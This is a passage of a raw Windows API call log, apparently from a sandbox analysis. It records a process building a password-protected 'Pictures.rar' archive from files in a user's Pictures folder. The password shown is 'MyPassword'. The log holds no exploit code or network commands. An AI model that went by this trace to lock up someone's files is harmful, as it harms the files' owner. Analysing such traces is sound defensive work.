Ptr=0x28b0a22f6f0, Size=0x48) returned 0x28b084f9430 [0065.993] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d64d0 [0065.993] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0065.993] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fdb0, Size=0x48) returned 0x28b084f9480 [0065.993] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d64d0 | out: hHeap=0x28b08430000) returned 1 [0065.993] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0065.993] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0065.993] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd50 [0065.993] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd50 | out: hHeap=0x28b08430000) returned 1 [0065.993] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0065.993] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f690, Size=0x48) returned 0x28b084f9980 [0065.993] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9980, Size=0x7a) returned 0x28b084ed7f0 [0065.993] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed7f3*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed7f3*, lpNumberOfBytesWritten=0xf00f8d8070*=0x60, lpOverlapped=0x0) returned 1 [0065.993] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fae0 [0065.993] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x60) returned 0x28b0c100630 [0065.993] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9480 | out: hHeap=0x28b08430000) returned 1 [0065.993] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed7f0 | out: hHeap=0x28b08430000) returned 1 [0065.993] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1a3c4d [0065.993] CloseHandle (hObject=0x350) returned 1 [0065.993] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.993] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.993] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.993] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.993] FindFirstFileW (in: lpFileName="W-jIjn6.gif", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0eeb50 [0065.993] FindClose (in: hFindFile=0x28b0c0eeb50 | out: hFindFile=0x28b0c0eeb50) returned 1 [0065.994] CreateFileW (lpFileName="W-jIjn6.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\w-jijn6.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0065.994] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.994] GetTickCount () returned 0x26661 [0065.994] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.994] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0065.994] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.994] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0065.994] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="svWwwq0D.png") returned 12 [0065.994] SetWindowTextW (hWnd=0x102c6, lpString="W-jIjn6.gif") returned 1 [0065.994] GetTickCount () returned 0x26661 [0065.994] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.994] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0065.995] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0065.995] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0065.997] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2b, wMilliseconds=0x1eb)) [0065.997] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0065.997] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15732533587) returned 1 [0065.997] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0xf869, lpOverlapped=0x0) returned 1 [0065.997] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b71b8a9, nNumberOfBytesToRead=0xf0797, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b71b8a9*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0065.997] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0065.997] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0065.997] GetFocus () returned 0x102e2 [0065.997] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0065.997] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.997] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0065.997] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0065.997] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f690, Size=0x48) returned 0x28b084f9660 [0065.997] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.997] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0065.997] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa80, Size=0x48) returned 0x28b084f9430 [0065.997] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.997] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9660 | out: hHeap=0x28b08430000) returned 1 [0065.998] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc00 [0065.998] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0065.998] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fab0 | out: hHeap=0x28b08430000) returned 1 [0065.998] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc00 | out: hHeap=0x28b08430000) returned 1 [0065.998] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9480 [0065.998] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9480, Size=0x7a) returned 0x28b084ed370 [0065.998] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0065.998] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed370 | out: hHeap=0x28b08430000) returned 1 [0065.998] GetTickCount () returned 0x26670 [0065.998] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15732646548) returned 1 [0065.998] GetTickCount () returned 0x26670 [0065.998] GetTickCount () returned 0x26670 [0065.998] GetTickCount () returned 0x26670 [0065.998] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0065.998] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0065.998] GetFocus () returned 0x102e2 [0065.998] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0065.999] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.999] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.000] ResetEvent (hEvent=0x344) returned 1 [0066.000] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.001] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.001] ResetEvent (hEvent=0x344) returned 1 [0066.001] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.003] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.003] GetTickCount () returned 0x26670 [0066.003] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15733201467) returned 1 [0066.003] GetTickCount () returned 0x26670 [0066.003] GetTickCount () returned 0x26670 [0066.003] GetTickCount () returned 0x26670 [0066.003] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0066.004] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0066.004] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.004] ResetEvent (hEvent=0x33c) returned 1 [0066.004] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.004] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.004] ResetEvent (hEvent=0x33c) returned 1 [0066.004] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.005] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.005] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0066.005] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.005] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x1a3c4d [0066.005] SetFilePointer (in: hFile=0x32c, lDistanceToMove=95, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x1a3cac [0066.005] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0066.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0066.006] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0066.006] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0066.006] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0066.006] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0xf8f0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0xf8f0, lpOverlapped=0x0) returned 1 [0066.007] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0066.007] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.007] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1719373, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1a3c4d [0066.007] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x1a3c4d [0066.007] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0066.007] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0066.007] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa80, Size=0x48) returned 0x28b084f9020 [0066.007] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0066.007] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0066.007] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa80, Size=0x48) returned 0x28b084f9480 [0066.007] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0066.007] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9020 | out: hHeap=0x28b08430000) returned 1 [0066.007] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0066.007] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0066.007] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f690 | out: hHeap=0x28b08430000) returned 1 [0066.007] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa80 | out: hHeap=0x28b08430000) returned 1 [0066.007] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f8f80 [0066.007] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f8f80, Size=0x7a) returned 0x28b084ed2e0 [0066.007] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed2e3*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed2e3*, lpNumberOfBytesWritten=0xf00f8d8070*=0x5f, lpOverlapped=0x0) returned 1 [0066.007] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f6f0 [0066.007] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x5f) returned 0x28b0c100780 [0066.007] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9480 | out: hHeap=0x28b08430000) returned 1 [0066.007] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed2e0 | out: hHeap=0x28b08430000) returned 1 [0066.007] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1b359c [0066.008] CloseHandle (hObject=0x350) returned 1 [0066.008] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.008] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.008] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.008] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.008] FindFirstFileW (in: lpFileName="Ww lmr4coeaZVkLVzHS.jpg", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0eec10 [0066.008] FindClose (in: hFindFile=0x28b0c0eec10 | out: hFindFile=0x28b0c0eec10) returned 1 [0066.008] CreateFileW (lpFileName="Ww lmr4coeaZVkLVzHS.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\ww lmr4coeazvklvzhs.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0066.008] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0066.008] GetTickCount () returned 0x26670 [0066.008] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0066.008] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0066.008] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0066.008] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0066.008] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="W-jIjn6.gif") returned 11 [0066.008] SetWindowTextW (hWnd=0x102c6, lpString="Ww lmr4coeaZVkLVzHS.jpg") returned 1 [0066.009] GetTickCount () returned 0x26670 [0066.009] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.009] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0066.009] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0066.009] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0066.009] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2b, wMilliseconds=0x1eb)) [0066.009] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0066.009] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15733794966) returned 1 [0066.009] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x18ba, lpOverlapped=0x0) returned 1 [0066.009] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70d8fa, nNumberOfBytesToRead=0xfe746, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70d8fa*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0066.009] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0066.010] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0066.010] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa80, Size=0x48) returned 0x28b084f9bb0 [0066.010] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d64d0 [0066.010] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0066.010] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fdb0, Size=0x48) returned 0x28b084f9110 [0066.010] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d64d0 | out: hHeap=0x28b08430000) returned 1 [0066.010] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0066.010] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd50 [0066.010] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0066.010] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa80 | out: hHeap=0x28b08430000) returned 1 [0066.010] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd50 | out: hHeap=0x28b08430000) returned 1 [0066.010] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f95c0 [0066.010] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f95c0, Size=0x7a) returned 0x28b084ecf80 [0066.010] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9110 | out: hHeap=0x28b08430000) returned 1 [0066.010] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ecf80 | out: hHeap=0x28b08430000) returned 1 [0066.010] GetTickCount () returned 0x26670 [0066.010] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15733860632) returned 1 [0066.010] GetTickCount () returned 0x26670 [0066.010] GetTickCount () returned 0x26670 [0066.010] GetTickCount () returned 0x26670 [0066.010] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.010] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.010] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.010] ResetEvent (hEvent=0x344) returned 1 [0066.010] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.013] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.013] ResetEvent (hEvent=0x344) returned 1 [0066.013] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.013] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.014] GetTickCount () returned 0x26680 [0066.014] GetLastError () returned 0x0 [0066.014] SetLastError (dwErrCode=0x0) [0066.014] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0066.014] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0066.014] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0066.014] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0066.014] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15734304294) returned 1 [0066.014] GetTickCount () returned 0x26680 [0066.014] GetTickCount () returned 0x26680 [0066.014] GetTickCount () returned 0x26680 [0066.015] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0066.015] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0066.015] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.015] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0066.015] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.015] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x1b359c [0066.015] SetFilePointer (in: hFile=0x32c, lDistanceToMove=105, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x1b3605 [0066.015] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0066.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0066.015] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0066.015] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0066.015] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0066.015] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x1900, lpOverlapped=0x0) returned 1 [0066.015] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 